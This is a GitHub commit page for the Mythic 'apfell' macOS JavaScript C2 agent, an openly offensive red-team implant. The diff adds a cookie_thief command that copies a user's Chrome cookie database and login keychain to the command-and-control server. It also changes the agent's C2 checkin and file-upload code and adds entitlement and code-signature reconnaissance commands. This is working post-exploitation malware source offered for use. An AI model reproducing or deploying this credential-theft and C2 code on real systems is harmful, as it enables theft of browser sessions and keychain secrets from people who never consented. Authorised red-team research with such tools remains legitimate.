Skip to content

Commit

Permalink
Merge pull request #5 from MythicAgents/v2.3-testing
Browse files Browse the repository at this point in the history
V2.3 testing
  • Loading branch information
its-a-feature authored Jan 31, 2022
2 parents 85ebcea + f74486e commit b3ff03a
Show file tree
Hide file tree
Showing 79 changed files with 5,974 additions and 586 deletions.
2 changes: 1 addition & 1 deletion Payload_Type/apfell/Dockerfile
Original file line number Diff line number Diff line change
@@ -1 +1 @@
FROM itsafeaturemythic/python38_payload:0.0.7
FROM itsafeaturemythic/python38_payload:0.1.1
6 changes: 6 additions & 0 deletions Payload_Type/apfell/agent_code/c2_profiles/dynamichttp.js
Original file line number Diff line number Diff line change
Expand Up @@ -367,6 +367,8 @@ class customC2 extends baseC2{
}
checkin(ip, pid, user, host, os, architecture, domain){
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os": os, "architecture": architecture, "domain": domain, "action": "checkin"};
info["process_name"] = apfell.procInfo.processName.js;
info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
if(user === 'root'){info['integrity_level'] = 3;}
//let req = null;
let jsondata = null;
Expand Down Expand Up @@ -475,6 +477,10 @@ class customC2 extends baseC2{
if (registerFile['responses'][0]['status'] === "success"){
handle.seekToFileOffset(0);
let currentChunk = 1;
this.postResponse(task, {"user_output": JSON.stringify({
"agent_file_id": registerFile["file_id"],
"total_chunks": numOfChunks
})});
let data = handle.readDataOfLength(chunkSize);
while(parseInt(data.length) > 0 && offset < fileSize){
// send a chunk
Expand Down
6 changes: 6 additions & 0 deletions Payload_Type/apfell/agent_code/c2_profiles/http.js
Original file line number Diff line number Diff line change
Expand Up @@ -224,6 +224,8 @@ class customC2 extends baseC2{
//get info about system to check in initially
//needs IP, PID, user, host, payload_type
let info = {'ip':ip,'pid':pid,'user':user,'host':host,'uuid':apfell.uuid, "os":os, "architecture": arch, "domain": domain, "action": "checkin"};
info["process_name"] = apfell.procInfo.processName.js;
info["sleep_info"] = "Sleep interval set to " + C2.interval + " and sleep jitter updated to " + C2.jitter;
if(user === "root"){
info['integrity_level'] = 3;
}
Expand Down Expand Up @@ -438,6 +440,10 @@ class customC2 extends baseC2{
let registerFile = this.postResponse(task, registerData);
registerFile = registerFile['responses'][0];
if (registerFile['status'] === "success"){
this.postResponse(task, {"user_output": JSON.stringify({
"agent_file_id": registerFile["file_id"],
"total_chunks": numOfChunks
})});
handle.seekToFileOffset(0);
let currentChunk = 1;
let data = handle.readDataOfLength(chunkSize);
Expand Down
37 changes: 37 additions & 0 deletions Payload_Type/apfell/agent_code/code_signatures.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,37 @@
exports.code_signatures = function(task, command, params){
ObjC.import("Security");
let staticCode = Ref();
try{
let binpath = JSON.parse(params)["path"];
if(binpath === undefined || binpath === null){
return {"user_output": "Missing Path to examine", "completed": true, "status": "error"};
}
let path = $.CFURLCreateFromFileSystemRepresentation($.kCFAllocatorDefault, binpath, binpath.length, true);
$.SecStaticCodeCreateWithPath(path, 0, staticCode);
let codeInfo = Ref();
$.SecCodeCopySigningInformation(staticCode[0], 0x7F, codeInfo);
ObjC.bindFunction('CFMakeCollectable', ['id', ['void *'] ]);
let codeInfo_c = $.CFMakeCollectable(codeInfo[0]);
let code_json = ObjC.deepUnwrap(codeInfo_c);
if(code_json === undefined){
return {"user_output": "Failed to find specified path", "completed": true, "status": "error"};
}
if(code_json.hasOwnProperty("flags")){
let flag_details = [];
if( code_json["flags"] & 0x000001 ){flag_details.push({"0x000001": "kSecCodeSignatureHost - May host guest code"})}
if( code_json["flags"] & 0x000002 ){flag_details.push({"0x000002": "kSecCodeSignatureAdhoc - The code has been sealed without a signing identity"})}
if( code_json["flags"] & 0x000100 ){flag_details.push({"0x000100": "kSecCodeSignatureForceHard - The code prefers to be denied access to a resource if gaining such access would cause its invalidation"})}
if( code_json["flags"] & 0x000200 ){flag_details.push({"0x000200": "kSecCodeSignatureForceKill - The code wishes to be terminated if it is ever invalidated"})}
if( code_json["flags"] & 0x000400 ){flag_details.push({"0x000400": "kSecCodeSignatureForceExpiration - Code signatures made by expired certificates be rejected"})}
if( code_json["flags"] & 0x000800 ){flag_details.push({"0x000800": "kSecCodeSignatureRestrict - Restrict dyld loading"})}
if( code_json["flags"] & 0x001000 ){flag_details.push({"0x001000": "kSecCodeSignatureEnforcement - Enforce code signing"})}
if( code_json["flags"] & 0x002000 ){flag_details.push({"0x002000": "kSecCodeSignatureLibraryValidation - Require library validation"})}
if( code_json["flags"] & 0x010000 ){flag_details.push({"0x010000": "kSecCodeSignatureRuntime - Apply runtime hardening policies as required by the hardened runtime version"})}
code_json["flag_details"] = flag_details;
code_json["flags"] = "0x" + code_json["flags"].toString(16);
}
return {"user_output":JSON.stringify(code_json, null, 2), "completed": true};
}catch(error){
return {"user_output":error.toString(), "completed": true, "status": "error"};
}
};
55 changes: 55 additions & 0 deletions Payload_Type/apfell/agent_code/cookie_thief.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,55 @@
exports.cookie_thief = function(task, command, params){
let config = JSON.parse(params);
let keyDL_status = {};
let cookieDL_status = {};
let password = "";
var username = "";
let browser = "chrome";
let homedir = "/Users/";
let keychainpath = "/Library/Keychains/login.keychain-db";
let chromeCookieDir = "/Library/Application Support/Google/Chrome/Default/Cookies";
let cookiedir = "/Library/Application Support/Google/Chrome/Default/Cookies";

if(config.hasOwnProperty("password") && typeof config['password'] == 'string'){
password = config['password'];
}
else {
return {'user_output': "Must supply the user's login password", "completed": true, "status": "error"};
}

if(config.hasOwnProperty("username") && typeof config['username'] == 'string' && config['username']) {
username = config['username'];
}
else {
return {'user_output': "Must supply the username", "completed": true, "status": "error"};
}
let cookiepath = homedir + username;

if(config.hasOwnProperty("browser") && typeof config['browser'] == 'string'){
browser = config['browser'];
}

if(browser === "chrome") {
cookiedir = chromeCookieDir;
}
let cookieDLPath = cookiepath + cookiedir;

try{
cookieDL_status = C2.download(task, cookieDLPath);
}
catch(error) {
return {'user_output': error.toString(), "completed": true, "status": "error"};
}

let keypath = homedir + username + keychainpath;
try{
keyDL_status = C2.download(task, keypath);
if(keyDL_status.hasOwnProperty("file_id")){
keyDL_status['user_output'] = "\nFinished Downloading KeychainDB and Cookies\n";
}
}
catch(error) {
return {'user_output': error.toString(), "completed": true, "status": "error"};
}
return keyDL_status;
};
7 changes: 1 addition & 6 deletions Payload_Type/apfell/agent_code/download.js
Original file line number Diff line number Diff line change
@@ -1,13 +1,8 @@
exports.download = function(task, command, params){
try{
if(params === "" || params === undefined){return {'user_output': "Must supply a path to a file to download", "completed": true, "status": "error"}; }
let status = C2.download(task, params);
if(status.hasOwnProperty("file_id")){
status['user_output'] = "Finished Downloading";
}
return status;
return C2.download(task, params);
}catch(error){
return {'user_output': error.toString(), "completed": true, "status": "error"};
}

};
53 changes: 53 additions & 0 deletions Payload_Type/apfell/agent_code/list_entitlements.js
Original file line number Diff line number Diff line change
@@ -0,0 +1,53 @@
exports.list_entitlements = function(task, command, params){
ObjC.import('AppKit');
let le = function(pid){
ObjC.bindFunction('malloc', ['void**', ['int']]);
ObjC.bindFunction('csops', ['int', ['int', 'int', 'void *', 'int'] ]);
let output = $.malloc(512000);
$.csops(pid, 7, output, 512000);
let data = $.NSData.alloc.initWithBytesLength(output, 512000);
for(let i = 8; i < data.length; i ++){
if(data.bytes[i] === 0){
let range = $.NSMakeRange(8, i);
data = data.subdataWithRange(range);
let plist = $.NSPropertyListSerialization.propertyListWithDataOptionsFormatError(data, $.NSPropertyListImmutable, $.nil, $());
return ObjC.deepUnwrap(plist);
}
}
return {};
}
try{
let arguments = JSON.parse(params);
let output = [];
if(arguments["pid"] === -1){
let procs = $.NSWorkspace.sharedWorkspace.runningApplications.js;
for(let i = 0; i < procs.length; i++){
let entitlements = {};
let ent = le(procs[i].processIdentifier);
if(ent === null || ent === undefined){
ent = {};
}
entitlements["pid"] = procs[i].processIdentifier;
entitlements['bundle'] = procs[i].bundleIdentifier.js;
entitlements['bundleURL'] = procs[i].bundleURL.path.js;
entitlements['bin_path'] = procs[i].executableURL.path.js;
entitlements['name'] = procs[i].localizedName.js;
entitlements["entitlements"] = ent;
output.push(entitlements);
}
}else {
let entitlements = {};
let ent = le(arguments["pid"]);
entitlements["pid"] = arguments["pid"];
entitlements['bundle'] = "";
entitlements['bundleURL'] = "";
entitlements['bin_path'] = "";
entitlements['name'] = "";
entitlements["entitlements"] = ent;
output.push(entitlements);
}
return {"user_output":JSON.stringify(output, null, 2), "completed": true};
}catch(error){
return {"user_output":error.toString(), "completed": true, "status": "error"};
}
};
41 changes: 21 additions & 20 deletions Payload_Type/apfell/agent_code/list_users.js
Original file line number Diff line number Diff line change
@@ -1,6 +1,6 @@
exports.list_users = function(task, command, params){
var all_users = [];
var gid = -1;
let all_users = [];
let gid = -1;
if (params.length > 0) {
var data = JSON.parse(params);
if (data.hasOwnProperty('gid') && data['gid'] !== "" && data['gid'] > 0) {
Expand All @@ -10,18 +10,18 @@ exports.list_users = function(task, command, params){
ObjC.import('Collaboration');
ObjC.import('CoreServices');
if (gid < 0) {
var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
var grouptolook = 1000 //Most systems don't have groups past 700s
for (var x = 0; x < grouptolook; x++) {
var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority);
validGroupcheck = group.toString()
if (validGroupcheck == "[id CBGroupIdentity]") {
var results = group.memberIdentities.js;
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
let grouptolook = 1000 //Most systems don't have groups past 700s
for (let x = 0; x < grouptolook; x++) {
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(x, defaultAuthority);
let validGroupcheck = group.toString()
if (validGroupcheck === "[id CBGroupIdentity]") {
let results = group.memberIdentities.js;

var numResults = results.length;
for (var i = 0; i < numResults; i++) {
var idObj = results[i];
var info = {
let numResults = results.length;
for (let i = 0; i < numResults; i++) {
let idObj = results[i];
let info = {
"POSIXName": idObj.posixName.js,
"POSIXID": idObj.posixUID,
"POSIXGID": group.posixGID,
Expand All @@ -43,13 +43,14 @@ exports.list_users = function(task, command, params){
"completed": true
}
} else {
var defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
var group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
var results = group.memberIdentities.js;
var numResults = results.length;
for (var i = 0; i < numResults; i++) {
var idObj = results[i];
var info = {
let defaultAuthority = $.CBIdentityAuthority.defaultIdentityAuthority;
let group = $.CBGroupIdentity.groupIdentityWithPosixGIDAuthority(gid, defaultAuthority);
let results = group.memberIdentities.js;
let numResults = results.length;
for (let i = 0; i < numResults; i++) {
let idObj = results[i];
let info = {

"POSIXName": idObj.posixName.js,
"POSIXID": idObj.posixUID,
"POSIXGID": group.posixGID,
Expand Down
8 changes: 3 additions & 5 deletions Payload_Type/apfell/agent_code/load.js
Original file line number Diff line number Diff line change
Expand Up @@ -12,15 +12,13 @@ exports.load = function(task, command, params){
commands_dict = Object.assign({}, commands_dict, new_dict);
// update the config with our new information
C2.commands = Object.keys(commands_dict);
let cmds = parsed_params['cmds'].split(" ")
let cmd_list = [];
for(let i = 0; i < cmds.length; i++){
cmd_list.push({"action": "add", "cmd": cmds[i]})
for(let i = 0; i < parsed_params['commands'].length; i++){
cmd_list.push({"action": "add", "cmd": parsed_params['commands'][i]})
}
return {"user_output": "Loaded " + parsed_params['cmds'], "commands": cmd_list, "completed": true};
return {"user_output": "Loaded " + parsed_params['commands'], "commands": cmd_list, "completed": true};
}
catch(error){
//console.log("errored in load function");
return {"user_output":error.toString(), "completed": true, "status": "error"};
}
};
32 changes: 23 additions & 9 deletions Payload_Type/apfell/agent_code/ls.js
Original file line number Diff line number Diff line change
Expand Up @@ -16,7 +16,7 @@ exports.ls = function(task, command, params){
};
}
}
if (path[0] === '"') {
if (path[0] === '"' || path[0] === "'") {
path = path.substring(1, path.length - 1);
}
if(path[0] === '~'){
Expand All @@ -25,6 +25,7 @@ exports.ls = function(task, command, params){
output['host'] = ObjC.unwrap(apfell.procInfo.hostName);
output['update_deleted'] = true;
let attributes = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path), error));
let time_attributes = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path), error));
if (attributes !== undefined) {
output['is_file'] = true;
output['files'] = [];
Expand All @@ -41,6 +42,7 @@ exports.ls = function(task, command, params){
}
for (let i = 0; i < sub_files.length; i++) {
let attr = ObjC.deepUnwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
let time_attr = ObjC.unwrap(fileManager.attributesOfItemAtPathError($(path + sub_files[i]), error));
let file_add = {};
file_add['name'] = sub_files[i];
file_add['is_file'] = attr['NSFileType'] !== "NSFileTypeDirectory";
Expand All @@ -61,9 +63,9 @@ exports.ls = function(task, command, params){
file_add['permissions']['posix'] = ((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
file_add['permissions']['owner'] = attr['NSFileOwnerAccountName'] + "(" + attr['NSFileOwnerAccountID'] + ")";
file_add['permissions']['group'] = attr['NSFileGroupOwnerAccountName'] + "(" + attr['NSFileGroupOwnerAccountID'] + ")";
file_add['permissions']['hidden'] = attr['NSFileExtenionAttribute'] === true;
file_add['permissions']['create_time'] = attributes['NSFileCreationDate'];
file_add['modify_time'] = attributes['NSFileModificationDate'];
file_add['permissions']['hidden'] = attr['NSFileExtensionAttribute'] === true;
file_add['permissions']['create_time'] = Math.trunc(time_attr['NSFileCreationDate'].timeIntervalSince1970 * 1000);
file_add['modify_time'] = Math.trunc(time_attr['NSFileModificationDate'].timeIntervalSince1970 * 1000);
file_add['access_time'] = "";
files_data.push(file_add);
}
Expand All @@ -74,17 +76,29 @@ exports.ls = function(task, command, params){
}
}
let nsposix = attributes['NSFilePosixPermissions'];
let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1, -1);
let components = ObjC.deepUnwrap( fileManager.componentsToDisplayForPath(path) ).slice(1);
if( components.length > 0 && components[0] === "Macintosh HD"){
components.pop();
}
output['parent_path'] = "/" + components.join("/");
output['name'] = fileManager.displayNameAtPath(path).js;
// say components = "etc, krb5.keytab"
// check all components to see if they're symlinks
let parent_path = "/";
for(let p = 0; p < components.length; p++){
let resolvedSymLink = fileManager.destinationOfSymbolicLinkAtPathError( $( parent_path + components[p] ), $.nil ).js;
if(resolvedSymLink){
parent_path = parent_path + resolvedSymLink + "/";
}else{
parent_path = parent_path + components[p] + "/";
}
}
output['name'] = fileManager.displayNameAtPath(parent_path).js;
output['parent_path'] = parent_path.slice(0, -(output["name"].length + 1));

if(output['name'] === "Macintosh HD"){output['name'] = "/";}
if(output['name'] === output['parent_path']){output['parent_path'] = "";}
output['size'] = attributes['NSFileSize'];
output['access_time'] = "";
output['modify_time'] = attributes['NSFileModificationDate'];
output['modify_time'] = Math.trunc(time_attributes['NSFileModificationDate'].timeIntervalSince1970 * 1000);
if(attributes['NSFileExtendedAttributes'] !== undefined){
let extended = {};
let perms = attributes['NSFileExtendedAttributes'].js;
Expand All @@ -95,7 +109,7 @@ exports.ls = function(task, command, params){
}else{
output['permissions'] = {};
}
output['permissions']['create_time'] = attributes['NSFileCreationDate'];
output['permissions']['create_time'] = Math.trunc(time_attributes['NSFileCreationDate'].timeIntervalSince1970 * 1000);
output['permissions']['posix'] =((nsposix >> 6) & 0x7).toString() + ((nsposix >> 3) & 0x7).toString() + (nsposix & 0x7).toString();
output['permissions']['owner'] = attributes['NSFileOwnerAccountName'] + "(" + attributes['NSFileOwnerAccountID'] + ")";
output['permissions']['group'] = attributes['NSFileGroupOwnerAccountName'] + "(" + attributes['NSFileGroupOwnerAccountID'] + ")";
Expand Down
Loading

0 comments on commit b3ff03a

Please sign in to comment.